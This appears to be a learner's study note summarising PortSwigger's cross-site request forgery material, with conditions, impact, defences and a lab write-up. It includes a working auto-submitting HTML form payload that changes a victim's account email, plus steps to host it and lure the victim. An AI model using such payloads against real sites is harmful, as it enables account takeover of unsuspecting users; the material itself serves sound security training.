ressource/  ·   ·  3 min

What is CSRF attack

https://portswigger.net/web-security/csrf

1. What is CSRF

CSRF: For Cross-Site Request Forgery, this attack allows an attacker to induce users to perform action that they do not intend to perform CSRF schema

2. Impact of this attack

In a successful CSRF attack, an attacker causes the victim user to carry out an action unintentionally. For example change an email address on his account, or change his password… Depending of the action, an attacker can gain a full access control over the user’s account. If the user have administrative rights on the application the attacker might be able to take full control over this application.

3. How does CSRF work ?

Need three key condition:

  1. A relevant action: There is an action in the application that the attacker has a reason to induce
  2. Cookie-based session handling: Need that the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validation user requests
  3. No unpredictable request parameters: The request to perform the action do not contain any parameters whose values the attacker cannot determine or guess. (If in a change password form required the older password, the attacker cannot perform this attack)

Example of an application where the user can change his email:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

Then the attacker can construct a malicious payload like that:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

if the victim user visits the attacker’s web page, the following will happen:

  • The attackers web page will trigger an HTTP request to the vulnerable website
  • if the user is logged, the user will automatically include their session cookie in the request (assuming SameSite cookie are not being used)
  • The vulnerable website will process the request and then change the email address on the victim account

4. How we can construct CSRF payload

Burp professional:

  1. Rights click on targeted request > Engagment tools > Generate CSRF PoC
  2. Host the payload on our website
  3. Social engineering the victim and send him the link

5. Common defences againt CSRF

  • CSRF tokens: A CSRF token is a unique, secret and unpredictable value that is generated by the server and shared with the client
  • SameSite cookies: Is a browser security mechanism that determines when a website cookie are included in the originating from other website
  • Referer-based action: Some application make use of HTTP referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain

6. Lab

6.1 CSRF with no-defense

https://portswigger.net/web-security/csrf/lab-no-defenses Change email request:

POST /my-account/change-email HTTP/2
Host: 0a3b00d9042e21d880e70356007f003d.web-security-academy.net
Cookie: session=OIDfKWbfVyq502Pkcnl3AiUqFWvUj7S7
Content-Length: 20
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: fr-FR,fr;q=0.9
Origin: https://exploit-0af10079048e21d780c9024b01050050.exploit-server.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://exploit-0af10079048e21d780c9024b01050050.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

email=test%40test.fr

Host our payload on attacker server: CSRF payload Then send it to the victim: CSRF Gongrats